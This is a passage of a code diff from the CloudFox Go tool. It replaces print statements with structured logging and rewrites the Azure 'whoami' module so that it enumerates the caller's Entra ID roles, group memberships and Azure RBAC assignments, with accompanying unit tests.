fmt.Sprintf("%s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)))
|
||||
azureLogger.InfoM(fmt.Sprintf("Enumerating VMs for tenant %s (%s)", ptr.ToString(tenantInfo.DefaultDomain), ptr.ToString(tenantInfo.ID)), globals.AZ_VMS_MODULE_NAME)
|
||||
|
||||
o.PrefixIdentifier = ptr.ToString(tenantInfo.DefaultDomain)
|
||||
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), "1-tenant-level")
|
||||
@@ -84,7 +80,7 @@ func AzVMsCommand(AzTenantID, AzSubscription, AzOutputFormat, AzOutputDirectory,
|
||||
|
||||
} else {
|
||||
// Error: please make a valid flag selection
|
||||
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
|
||||
azureLogger.ErrorM("Please enter a valid input with a valid flag. Use --help for info.", globals.AZ_VMS_MODULE_NAME)
|
||||
}
|
||||
|
||||
return nil
|
||||
@@ -110,9 +106,7 @@ func runVMsCommandForSingleSubscription(AzSubscription string, AzOutputDirectory
|
||||
o.PrefixIdentifier = AzSubscriptionInfo.Name
|
||||
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, ptr.ToString(tenantInfo.DefaultDomain), AzSubscriptionInfo.Name)
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating VMs for subscription %s\n",
|
||||
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_VMS_MODULE_NAME),
|
||||
fmt.Sprintf("%s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID))
|
||||
azureLogger.InfoM(fmt.Sprintf("Enumerating VMs for subscription %s (%s)", AzSubscriptionInfo.Name, AzSubscriptionInfo.ID), globals.AZ_VMS_MODULE_NAME)
|
||||
|
||||
// populate the table data
|
||||
header, body, userData = getVMsPerSubscriptionID(AzSubscriptionInfo.ID)
|
||||
@@ -153,7 +147,7 @@ func getVMsPerTenantID(AzTenantID string) ([]string, [][]string, string) {
|
||||
for _, rg := range getResourceGroups(ptr.ToString(s.SubscriptionID)) {
|
||||
resultsHeader, b, userData, err = getComputeRelevantData(s, rg)
|
||||
if err != nil {
|
||||
fmt.Printf("[%s] Could not enumerate VMs for resource group %s in subscription %s\n", color.CyanString(globals.AZ_VMS_MODULE_NAME), ptr.ToString(rg.Name), ptr.ToString(s.SubscriptionID))
|
||||
azureLogger.WarnM(fmt.Sprintf("Could not enumerate VMs for resource group %s in subscription %s: %s", ptr.ToString(rg.Name), ptr.ToString(s.SubscriptionID), err), globals.AZ_VMS_MODULE_NAME)
|
||||
} else {
|
||||
resultsBody = append(resultsBody, b...)
|
||||
userDataCombined += userData
|
||||
@@ -175,7 +169,7 @@ func getVMsPerSubscriptionID(AzSubscriptionID string) ([]string, [][]string, str
|
||||
for _, rg := range getResourceGroups(ptr.ToString(s.SubscriptionID)) {
|
||||
resultsHeader, b, userData, err = getComputeRelevantData(s, rg)
|
||||
if err != nil {
|
||||
fmt.Printf("[%s] Could not enumerate VMs for resource group %s in subscription %s\n", color.CyanString(globals.AZ_VMS_MODULE_NAME), ptr.ToString(rg.Name), ptr.ToString(s.SubscriptionID))
|
||||
azureLogger.WarnM(fmt.Sprintf("Could not enumerate VMs for resource group %s in subscription %s: %s", ptr.ToString(rg.Name), ptr.ToString(s.SubscriptionID), err), globals.AZ_VMS_MODULE_NAME)
|
||||
} else {
|
||||
resultsBody = append(resultsBody, b...)
|
||||
userDataCombined += userData
|
||||
@@ -209,13 +203,13 @@ func getComputeRelevantData(sub subscriptions.Subscription, rg resources.Group)
|
||||
// get userdata
|
||||
vmDetails, err := getComputeVmInfo(subscriptionID, resourceGroupName, ptr.ToString(vm.Name))
|
||||
if err != nil {
|
||||
fmt.Println("error fetching vm details for vm: ", ptr.ToString(vm.Name))
|
||||
azureLogger.WarnM(fmt.Sprintf("Error fetching VM details for %s: %s", ptr.ToString(vm.Name), err), globals.AZ_VMS_MODULE_NAME)
|
||||
}
|
||||
|
||||
if vmDetails.VirtualMachineProperties != nil && vmDetails.VirtualMachineProperties.UserData != nil {
|
||||
userData, err := base64.StdEncoding.DecodeString(ptr.ToString(vmDetails.VirtualMachineProperties.UserData))
|
||||
if err != nil {
|
||||
fmt.Println("error decoding userdata for vm: ", ptr.ToString(vm.Name))
|
||||
azureLogger.WarnM(fmt.Sprintf("Error decoding user data for VM %s: %s", ptr.ToString(vm.Name), err), globals.AZ_VMS_MODULE_NAME)
|
||||
}
|
||||
//append userdata from this vm to the string with headers and newlines for VM name, location, and resource group name
|
||||
userDataString += fmt.Sprintf(
|
||||
|
||||
+1
-1
@@ -92,7 +92,7 @@ func TestAzVMsCommand(t *testing.T) {
|
||||
|
||||
err := AzVMsCommand(s.azTenantID, s.azSubscriptionID, s.azOutputFormat, s.azOutputDirectory, s.version, 2, s.wrapTableOutput, s.azMergedTable)
|
||||
if err != nil {
|
||||
log.Fatalf(err.Error())
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
}
|
||||
+334
-69
@@ -2,56 +2,66 @@ package azure
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/authorization/mgmt/authorization"
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/resources"
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/azcore"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/azcore/policy"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/azidentity"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/smithy-go/ptr"
|
||||
"github.com/fatih/color"
|
||||
"github.com/kyokomi/emoji"
|
||||
)
|
||||
|
||||
func AzWhoamiCommand(AzOutputDirectory, version string, AzWrapTable bool, AzVerbosity int, AzWhoamiListRGsAlso bool) error {
|
||||
func AzWhoamiCommand(AzOutputDirectory, version string, AzWrapTable bool, AzVerbosity int) error {
|
||||
o := internal.OutputClient{
|
||||
Verbosity: AzVerbosity,
|
||||
CallingModule: globals.AZ_WHOAMI_MODULE_NAME,
|
||||
Table: internal.TableClient{
|
||||
Wrap: AzWrapTable,
|
||||
Wrap: AzWrapTable,
|
||||
DirectoryName: filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, "whoami-data"),
|
||||
},
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating Azure CLI sessions...\n", color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", version)), color.CyanString(globals.AZ_WHOAMI_MODULE_NAME))
|
||||
var header []string
|
||||
var body [][]string
|
||||
fileTimestamp := strconv.FormatInt(time.Now().Unix(), 10)
|
||||
o.PrefixIdentifier = "N/A"
|
||||
if !AzWhoamiListRGsAlso {
|
||||
// cloudfox azure whoami
|
||||
header, body = getWhoamiRelevantDataSubsOnly()
|
||||
o.Table.DirectoryName = filepath.Join(AzOutputDirectory, globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, "whoami-data")
|
||||
// append timestamp to filename (time from epoch)
|
||||
o.Table.TableFiles = append(o.Table.TableFiles,
|
||||
internal.TableFile{
|
||||
Header: header,
|
||||
Body: body,
|
||||
Name: fmt.Sprintf(globals.AZ_WHOAMI_MODULE_NAME+"-subs-only") + "-" + strconv.FormatInt((time.Now().Unix()), 10)})
|
||||
azureLogger.InfoM("Enumerating caller's Entra ID roles", globals.AZ_WHOAMI_MODULE_NAME)
|
||||
roleHeader, roleBody, roleErrors := getWhoamiEntraRoles()
|
||||
for _, err := range roleErrors {
|
||||
azureLogger.WarnM(fmt.Sprintf("Could not enumerate Entra ID roles: %s", err), globals.AZ_WHOAMI_MODULE_NAME)
|
||||
}
|
||||
if len(roleBody) > 0 {
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: roleHeader,
|
||||
Body: roleBody,
|
||||
Name: globals.AZ_WHOAMI_MODULE_NAME + "-entra-memberships-" + fileTimestamp,
|
||||
})
|
||||
}
|
||||
|
||||
} else {
|
||||
// cloudfox azure whoami --list-rgs
|
||||
header, body = getWhoamiRelevantDataPerRG()
|
||||
o.Table.DirectoryName = filepath.Join(ptr.ToString(internal.GetLogDirPath()), globals.AZ_DIR_BASE, "whoami-data")
|
||||
o.Table.TableFiles = append(o.Table.TableFiles,
|
||||
internal.TableFile{
|
||||
Header: header,
|
||||
Body: body,
|
||||
Name: globals.AZ_WHOAMI_MODULE_NAME + "-" + strconv.FormatInt((time.Now().Unix()), 10)})
|
||||
azureLogger.InfoM("Enumerating caller's Azure RBAC roles", globals.AZ_WHOAMI_MODULE_NAME)
|
||||
rbacHeader, rbacBody, rbacErrors := getWhoamiAzureRBAC()
|
||||
for _, err := range rbacErrors {
|
||||
azureLogger.WarnM(fmt.Sprintf("Could not enumerate Azure RBAC roles: %s", err), globals.AZ_WHOAMI_MODULE_NAME)
|
||||
}
|
||||
if len(rbacBody) > 0 {
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: rbacHeader,
|
||||
Body: rbacBody,
|
||||
Name: globals.AZ_WHOAMI_MODULE_NAME + "-azure-rbac-" + fileTimestamp,
|
||||
})
|
||||
}
|
||||
//internal.PrintTableToScreen(header, body, AzWrapTable)
|
||||
|
||||
@@ -60,52 +70,307 @@ func AzWhoamiCommand(AzOutputDirectory, version string, AzWrapTable bool, AzVerb
|
||||
return nil
|
||||
}
|
||||
|
||||
func getWhoamiRelevantDataPerRG() ([]string, [][]string) {
|
||||
tableHead := []string{"Tenant ID", "Tentant Primary Domain", "Subscription ID", "Subscription Name", "RG Name", "Region"}
|
||||
var tableBody [][]string
|
||||
const microsoftGraphScope = "https://graph.microsoft.com/.default"
|
||||
|
||||
for _, t := range getTenants() {
|
||||
for _, s := range GetSubscriptions() {
|
||||
if ptr.ToString(t.TenantID) == ptr.ToString(s.TenantID) {
|
||||
for _, rg := range getResourceGroups(ptr.ToString(s.SubscriptionID)) {
|
||||
tableBody = append(
|
||||
tableBody,
|
||||
[]string{
|
||||
ptr.ToString(s.TenantID),
|
||||
ptr.ToString(t.DefaultDomain),
|
||||
ptr.ToString(s.SubscriptionID),
|
||||
ptr.ToString(s.DisplayName),
|
||||
ptr.ToString(rg.Name),
|
||||
ptr.ToString(rg.Location),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
var (
|
||||
graphBaseURL = "https://graph.microsoft.com/v1.0"
|
||||
graphHTTPClient = http.DefaultClient
|
||||
getWhoamiEntraRoles = getWhoamiEntraRolesOriginal
|
||||
getWhoamiAzureRBAC = getWhoamiAzureRBACOriginal
|
||||
)
|
||||
|
||||
return tableHead, tableBody
|
||||
type entraRole struct {
|
||||
ODataType string `json:"@odata.type"`
|
||||
ID string `json:"id"`
|
||||
DisplayName string `json:"displayName"`
|
||||
Description string `json:"description"`
|
||||
}
|
||||
|
||||
func getWhoamiRelevantDataSubsOnly() ([]string, [][]string) {
|
||||
tableHead := []string{"Tenant ID", "Tenant Primary Domain", "Subscription ID", "Subscription Name"}
|
||||
var tableBody [][]string
|
||||
type entraRolePage struct {
|
||||
Value []entraRole `json:"value"`
|
||||
NextLink string `json:"@odata.nextLink"`
|
||||
}
|
||||
|
||||
for _, t := range getTenants() {
|
||||
for _, s := range GetSubscriptions() {
|
||||
if ptr.ToString(t.TenantID) == ptr.ToString(s.TenantID) {
|
||||
tableBody = append(
|
||||
tableBody,
|
||||
[]string{
|
||||
ptr.ToString(s.TenantID),
|
||||
ptr.ToString(t.DefaultDomain),
|
||||
ptr.ToString(s.SubscriptionID),
|
||||
ptr.ToString(s.DisplayName),
|
||||
})
|
||||
type graphErrorResponse struct {
|
||||
Error struct {
|
||||
Code string `json:"code"`
|
||||
Message string `json:"message"`
|
||||
} `json:"error"`
|
||||
}
|
||||
|
||||
type tokenClaims struct {
|
||||
ObjectID string `json:"oid"`
|
||||
Name string `json:"name"`
|
||||
PreferredUsername string `json:"preferred_username"`
|
||||
AppID string `json:"appid"`
|
||||
IdentityType string `json:"idtyp"`
|
||||
}
|
||||
|
||||
func getWhoamiEntraRolesOriginal() ([]string, [][]string, []error) {
|
||||
header := []string{"Tenant ID", "Tenant Primary Domain", "Principal ID", "Principal Name", "Principal Type", "Membership Type", "Membership Name", "Description"}
|
||||
var body [][]string
|
||||
var errs []error
|
||||
|
||||
for _, tenant := range getTenants() {
|
||||
tenantID := ptr.ToString(tenant.TenantID)
|
||||
cred, err := azidentity.NewAzureCLICredential(&azidentity.AzureCLICredentialOptions{TenantID: tenantID})
|
||||
if err != nil {
|
||||
errs = append(errs, fmt.Errorf("tenant %s: create Azure CLI credential: %w", tenantID, err))
|
||||
continue
|
||||
}
|
||||
|
||||
claims, memberships, err := getCallerDirectoryMemberships(context.Background(), cred)
|
||||
if err != nil {
|
||||
errs = append(errs, fmt.Errorf("tenant %s: %w", tenantID, err))
|
||||
continue
|
||||
}
|
||||
|
||||
principalName := claims.PreferredUsername
|
||||
if principalName == "" {
|
||||
principalName = claims.Name
|
||||
}
|
||||
principalType := "User"
|
||||
if claims.IdentityType == "app" || (claims.PreferredUsername == "" && claims.AppID != "") {
|
||||
principalType = "Service Principal"
|
||||
}
|
||||
foundRole := false
|
||||
for _, membership := range memberships {
|
||||
membershipType := directoryMembershipType(membership.ODataType)
|
||||
if membershipType == "" {
|
||||
continue
|
||||
}
|
||||
membershipName := membership.DisplayName
|
||||
if membershipName == "" {
|
||||
membershipName = membership.ID
|
||||
}
|
||||
body = append(body, []string{tenantID, ptr.ToString(tenant.DefaultDomain), claims.ObjectID, principalName, principalType, membershipType, membershipName, membership.Description})
|
||||
foundRole = foundRole || membershipType == "Directory Role"
|
||||
}
|
||||
if !foundRole {
|
||||
body = append(body, []string{tenantID, ptr.ToString(tenant.DefaultDomain), claims.ObjectID, principalName, principalType, "Directory Role", "(none)", "No active Entra ID directory roles found"})
|
||||
}
|
||||
}
|
||||
|
||||
return tableHead, tableBody
|
||||
sort.Slice(body, func(i, j int) bool {
|
||||
if body[i][0] == body[j][0] {
|
||||
if body[i][5] == body[j][5] {
|
||||
return body[i][6] < body[j][6]
|
||||
}
|
||||
return body[i][5] < body[j][5]
|
||||
}
|
||||
return body[i][0] < body[j][0]
|
||||
})
|
||||
return header, body, errs
|
||||
}
|
||||
|
||||
func getCallerEntraRoles(ctx context.Context, cred azcore.TokenCredential) (tokenClaims, []entraRole, error) {
|
||||
claims, memberships, err := getCallerDirectoryMemberships(ctx, cred)
|
||||
if err != nil {
|
||||
return tokenClaims{}, nil, err
|
||||
}
|
||||
var roles []entraRole
|
||||
for _, object := range memberships {
|
||||
if directoryMembershipType(object.ODataType) == "Directory Role" {
|
||||
roles = append(roles, object)
|
||||
}
|
||||
}
|
||||
return claims, roles, nil
|
||||
}
|
||||
|
||||
func directoryMembershipType(odataType string) string {
|
||||
switch {
|
||||
case strings.EqualFold(odataType, "#microsoft.graph.directoryRole"), strings.EqualFold(odataType, "#Microsoft.DirectoryServices.DirectoryRole"):
|
||||
return "Directory Role"
|
||||
case strings.EqualFold(odataType, "#microsoft.graph.group"), strings.EqualFold(odataType, "#Microsoft.DirectoryServices.Group"):
|
||||
return "Group"
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func getCallerDirectoryMemberships(ctx context.Context, cred azcore.TokenCredential) (tokenClaims, []entraRole, error) {
|
||||
token, err := cred.GetToken(ctx, policy.TokenRequestOptions{Scopes: []string{microsoftGraphScope}})
|
||||
if err != nil {
|
||||
return tokenClaims{}, nil, fmt.Errorf("get Microsoft Graph access token: %w", err)
|
||||
}
|
||||
|
||||
claims, err := parseTokenClaims(token.Token)
|
||||
if err != nil {
|
||||
return tokenClaims{}, nil, err
|
||||
}
|
||||
|
||||
nextLink := fmt.Sprintf("%s/directoryObjects/%s/transitiveMemberOf", strings.TrimRight(graphBaseURL, "/"), url.PathEscape(claims.ObjectID))
|
||||
var memberships []entraRole
|
||||
for nextLink != "" {
|
||||
page, err := getEntraRolePage(ctx, token.Token, nextLink)
|
||||
if err != nil {
|
||||
return tokenClaims{}, nil, err
|
||||
}
|
||||
memberships = append(memberships, page.Value...)
|
||||
nextLink = page.NextLink
|
||||
}
|
||||
return claims, memberships, nil
|
||||
}
|
||||
|
||||
type rbacPrincipal struct {
|
||||
ID string
|
||||
Name string
|
||||
AssignmentType string
|
||||
}
|
||||
|
||||
func getWhoamiAzureRBACOriginal() ([]string, [][]string, []error) {
|
||||
header := []string{"Tenant ID", "Subscription ID", "Subscription Name", "Principal ID", "Principal Name", "Assignment Via", "Azure RBAC Role", "Scope"}
|
||||
var body [][]string
|
||||
var errs []error
|
||||
|
||||
for _, tenant := range getTenants() {
|
||||
tenantID := ptr.ToString(tenant.TenantID)
|
||||
cred, err := azidentity.NewAzureCLICredential(&azidentity.AzureCLICredentialOptions{TenantID: tenantID})
|
||||
if err != nil {
|
||||
errs = append(errs, fmt.Errorf("tenant %s: create Azure CLI credential: %w", tenantID, err))
|
||||
continue
|
||||
}
|
||||
claims, memberships, err := getCallerDirectoryMemberships(context.Background(), cred)
|
||||
if err != nil {
|
||||
errs = append(errs, fmt.Errorf("tenant %s: get caller's groups: %w", tenantID, err))
|
||||
continue
|
||||
}
|
||||
|
||||
callerName := claims.PreferredUsername
|
||||
if callerName == "" {
|
||||
callerName = claims.Name
|
||||
}
|
||||
principals := map[string]rbacPrincipal{
|
||||
strings.ToLower(claims.ObjectID): {ID: claims.ObjectID, Name: callerName, AssignmentType: "Direct"},
|
||||
}
|
||||
for _, object := range memberships {
|
||||
if directoryMembershipType(object.ODataType) != "Group" {
|
||||
continue
|
||||
}
|
||||
groupName := object.DisplayName
|
||||
if groupName == "" {
|
||||
groupName = object.ID
|
||||
}
|
||||
principals[strings.ToLower(object.ID)] = rbacPrincipal{ID: object.ID, Name: groupName, AssignmentType: "Group"}
|
||||
}
|
||||
|
||||
foundAssignment := false
|
||||
for _, subscription := range GetSubscriptionsPerTenantID(tenantID) {
|
||||
subscriptionID := ptr.ToString(subscription.SubscriptionID)
|
||||
assignments, err := getRoleAssignments(subscriptionID)
|
||||
if err != nil {
|
||||
errs = append(errs, fmt.Errorf("subscription %s: %w", subscriptionID, err))
|
||||
continue
|
||||
}
|
||||
definitions, err := getRoleDefinitions(subscriptionID)
|
||||
if err != nil {
|
||||
errs = append(errs, fmt.Errorf("subscription %s: %w", subscriptionID, err))
|
||||
}
|
||||
roleNames := roleDefinitionNames(definitions)
|
||||
rows := azureRBACRowsForSubscription(tenantID, subscriptionID, ptr.ToString(subscription.DisplayName), principals, roleNames, assignments)
|
||||
body = append(body, rows...)
|
||||
foundAssignment = foundAssignment || len(rows) > 0
|
||||
}
|
||||
if !foundAssignment {
|
||||
body = append(body, []string{tenantID, "", "", claims.ObjectID, callerName, "Direct or Group", "(none)", "No Azure RBAC assignments found in accessible subscriptions"})
|
||||
}
|
||||
}
|
||||
|
||||
sort.Slice(body, func(i, j int) bool {
|
||||
for _, column := range []int{0, 1, 6, 5, 4} {
|
||||
if body[i][column] != body[j][column] {
|
||||
return body[i][column] < body[j][column]
|
||||
}
|
||||
}
|
||||
return body[i][7] < body[j][7]
|
||||
})
|
||||
return header, body, errs
|
||||
}
|
||||
|
||||
func azureRBACRowsForSubscription(tenantID, subscriptionID, subscriptionName string, principals map[string]rbacPrincipal, roleNames map[string]string, assignments []authorization.RoleAssignment) [][]string {
|
||||
var rows [][]string
|
||||
for _, assignment := range assignments {
|
||||
principal, ok := principals[strings.ToLower(ptr.ToString(assignment.Properties.PrincipalID))]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
roleDefinitionID := lastResourceIDSegment(ptr.ToString(assignment.Properties.RoleDefinitionID))
|
||||
roleName := roleNames[strings.ToLower(roleDefinitionID)]
|
||||
if roleName == "" {
|
||||
roleName = roleDefinitionID
|
||||
}
|
||||
rows = append(rows, []string{tenantID, subscriptionID, subscriptionName, principal.ID, principal.Name, principal.AssignmentType, roleName, ptr.ToString(assignment.Properties.Scope)})
|
||||
}
|
||||
return rows
|
||||
}
|
||||
|
||||
func roleDefinitionNames(definitions []authorization.RoleDefinition) map[string]string {
|
||||
names := make(map[string]string, len(definitions))
|
||||
for _, definition := range definitions {
|
||||
names[strings.ToLower(lastResourceIDSegment(ptr.ToString(definition.ID)))] = ptr.ToString(definition.RoleName)
|
||||
}
|
||||
return names
|
||||
}
|
||||
|
||||
func lastResourceIDSegment(id string) string {
|
||||
id = strings.TrimRight(id, "/")
|
||||
if index := strings.LastIndex(id, "/"); index >= 0 {
|
||||
return id[index+1:]
|
||||
}
|
||||
return id
|
||||
}
|
||||
|
||||
func parseTokenClaims(token string) (tokenClaims, error) {
|
||||
parts := strings.Split(token, ".")
|
||||
if len(parts) != 3 {
|
||||
return tokenClaims{}, fmt.Errorf("Microsoft Graph returned a malformed access token")
|
||||
}
|
||||
payload, err := base64.RawURLEncoding.DecodeString(parts[1])
|
||||
if err != nil {
|
||||
return tokenClaims{}, fmt.Errorf("decode Microsoft Graph access token claims: %w", err)
|
||||
}
|
||||
var claims tokenClaims
|
||||
if err := json.Unmarshal(payload, &claims); err != nil {
|
||||
return tokenClaims{}, fmt.Errorf("decode Microsoft Graph access token claims: %w", err)
|
||||
}
|
||||
if claims.ObjectID == "" {
|
||||
return tokenClaims{}, fmt.Errorf("Microsoft Graph access token has no oid claim")
|
||||
}
|
||||
return claims, nil
|
||||
}
|
||||
|
||||
func getEntraRolePage(ctx context.Context, accessToken, endpoint string) (entraRolePage, error) {
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)
|
||||
if err != nil {
|
||||
return entraRolePage{}, fmt.Errorf("create Microsoft Graph request: %w", err)
|
||||
}
|
||||
req.Header.Set("Authorization", "Bearer "+accessToken)
|
||||
req.Header.Set("Accept", "application/json")
|
||||
req.Header.Set("ConsistencyLevel", "eventual")
|
||||
req.Header.Set("User-Agent", globals.CLOUDFOX_USER_AGENT)
|
||||
|
||||
resp, err := graphHTTPClient.Do(req)
|
||||
if err != nil {
|
||||
return entraRolePage{}, fmt.Errorf("query Microsoft Graph: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
responseBody, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return entraRolePage{}, fmt.Errorf("read Microsoft Graph response: %w", err)
|
||||
}
|
||||
if resp.StatusCode < http.StatusOK || resp.StatusCode >= http.StatusMultipleChoices {
|
||||
var graphErr graphErrorResponse
|
||||
if json.Unmarshal(responseBody, &graphErr) == nil && graphErr.Error.Message != "" {
|
||||
return entraRolePage{}, fmt.Errorf("Microsoft Graph returned %s (%s): %s", resp.Status, graphErr.Error.Code, graphErr.Error.Message)
|
||||
}
|
||||
return entraRolePage{}, fmt.Errorf("Microsoft Graph returned %s", resp.Status)
|
||||
}
|
||||
|
||||
var page entraRolePage
|
||||
if err := json.Unmarshal(responseBody, &page); err != nil {
|
||||
return entraRolePage{}, fmt.Errorf("decode Microsoft Graph response: %w", err)
|
||||
}
|
||||
return page, nil
|
||||
}
|
||||
|
||||
var getTenants = getTenantsOriginal
|
||||
@@ -115,7 +380,7 @@ func getTenantsOriginal() []subscriptions.TenantIDDescription {
|
||||
var results []subscriptions.TenantIDDescription
|
||||
for page, err := tenantsClient.List(context.TODO()); page.NotDone(); err = page.Next() {
|
||||
if err != nil {
|
||||
log.Fatal("could not get tenants for active session")
|
||||
azureLogger.FatalM("Could not get tenants for active session", globals.AZ_WHOAMI_MODULE_NAME)
|
||||
}
|
||||
results = append(results, page.Values()...)
|
||||
}
|
||||
@@ -141,7 +406,7 @@ func getSubscriptionsOriginal() []subscriptions.Subscription {
|
||||
subsClient := internal.GetSubscriptionsClient()
|
||||
for page, err := subsClient.List(context.TODO()); page.NotDone(); err = page.Next() {
|
||||
if err != nil {
|
||||
log.Fatal("could not get subscriptions for active session")
|
||||
azureLogger.FatalM("Could not get subscriptions for active session", globals.AZ_WHOAMI_MODULE_NAME)
|
||||
}
|
||||
results = append(results, page.Values()...)
|
||||
}
|
||||
@@ -171,7 +436,7 @@ func getResourceGroupsOriginal(subscriptionID string) []resources.Group {
|
||||
|
||||
for page, err := rgClient.List(context.TODO(), "", nil); page.NotDone(); err = page.Next() {
|
||||
if err != nil {
|
||||
log.Fatalf("error reading resource groups for subscription %s", subscriptionID)
|
||||
azureLogger.FatalM(fmt.Sprintf("Error reading resource groups for subscription %s", subscriptionID), globals.AZ_WHOAMI_MODULE_NAME)
|
||||
}
|
||||
results = append(results, page.Values()...)
|
||||
}
|
||||
@@ -199,12 +464,12 @@ func mockedGetResourceGroups(subscriptionID string) []resources.Group {
|
||||
func loadTestFile(fileName string) ResourcesTestFile {
|
||||
file, err := os.ReadFile(fileName)
|
||||
if err != nil {
|
||||
log.Fatalf("could not read file %s", globals.RESOURCES_TEST_FILE)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not read file %s", globals.RESOURCES_TEST_FILE), globals.AZ_WHOAMI_MODULE_NAME)
|
||||
}
|
||||
var testFile ResourcesTestFile
|
||||
err = json.Unmarshal(file, &testFile)
|
||||
if err != nil {
|
||||
log.Fatalf("could not unmarshall file %s", globals.RESOURCES_TEST_FILE)
|
||||
azureLogger.FatalM(fmt.Sprintf("Could not unmarshal file %s", globals.RESOURCES_TEST_FILE), globals.AZ_WHOAMI_MODULE_NAME)
|
||||
}
|
||||
return testFile
|
||||
}
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
package azure
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/Azure/azure-sdk-for-go/profiles/latest/authorization/mgmt/authorization"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/azcore"
|
||||
"github.com/Azure/azure-sdk-for-go/sdk/azcore/policy"
|
||||
)
|
||||
|
||||
type staticTokenCredential struct {
|
||||
token string
|
||||
err error
|
||||
scope string
|
||||
}
|
||||
|
||||
func TestAzureRBACRowsIncludeDirectAndGroupAssignments(t *testing.T) {
|
||||
var assignments []authorization.RoleAssignment
|
||||
err := json.Unmarshal([]byte(`[
|
||||
{"properties":{"principalId":"caller-id","roleDefinitionId":"/providers/Microsoft.Authorization/roleDefinitions/reader-id","scope":"/subscriptions/sub-id"}},
|
||||
{"properties":{"principalId":"group-id","roleDefinitionId":"/providers/Microsoft.Authorization/roleDefinitions/owner-id","scope":"/subscriptions/sub-id/resourceGroups/example"}},
|
||||
{"properties":{"principalId":"other-id","roleDefinitionId":"/providers/Microsoft.Authorization/roleDefinitions/ignored-id","scope":"/subscriptions/sub-id"}}
|
||||
]`), &assignments)
|
||||
if err != nil {
|
||||
t.Fatalf("unmarshal role assignments: %v", err)
|
||||
}
|
||||
|
||||
principals := map[string]rbacPrincipal{
|
||||
"caller-id": {ID: "caller-id", Name: "[email protected]", AssignmentType: "Direct"},
|
||||
"group-id": {ID: "group-id", Name: "Cloud Operators", AssignmentType: "Group"},
|
||||
}
|
||||
roleNames := map[string]string{"reader-id": "Reader", "owner-id": "Owner"}
|
||||
rows := azureRBACRowsForSubscription("tenant-id", "sub-id", "Production", principals, roleNames, assignments)
|
||||
|
||||
if len(rows) != 2 {
|
||||
t.Fatalf("got %d relevant role assignments, want 2: %+v", len(rows), rows)
|
||||
}
|
||||
if rows[0][5] != "Direct" || rows[0][6] != "Reader" {
|
||||
t.Fatalf("unexpected direct assignment row: %+v", rows[0])
|
||||
}
|
||||
if rows[1][4] != "Cloud Operators" || rows[1][5] != "Group" || rows[1][6] != "Owner" {
|
||||
t.Fatalf("unexpected group assignment row: %+v", rows[1])
|
||||
}
|
||||
}
|
||||
|
||||
func (c *staticTokenCredential) GetToken(_ context.Context, options policy.TokenRequestOptions) (azcore.AccessToken, error) {
|
||||
if len(options.Scopes) > 0 {
|
||||
c.scope = options.Scopes[0]
|
||||
}
|
||||
return azcore.AccessToken{Token: c.token, ExpiresOn: time.Now().Add(time.Hour)}, c.err
|
||||
}
|
||||
|
||||
func unsignedTestToken(payload string) string {
|
||||
return "header." + base64.RawURLEncoding.EncodeToString([]byte(payload)) + ".signature"
|
||||
}
|
||||
|
||||
func TestGetCallerEntraRoles(t *testing.T) {
|
||||
var authorization string
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
authorization = r.Header.Get("Authorization")
|
||||
if r.URL.Path != "/directoryObjects/caller-object-id/transitiveMemberOf" {
|
||||
t.Fatalf("unexpected Graph path: %s", r.URL.Path)
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
_, _ = w.Write([]byte(`{"value":[{"@odata.type":"#Microsoft.DirectoryServices.Group","id":"group-id","displayName":"Readers"},{"@odata.type":"#Microsoft.DirectoryServices.DirectoryRole","id":"role-id","displayName":"Global Reader","description":"Read everything"}]}`))
|
||||
}))
|
||||
defer server.Close()
|
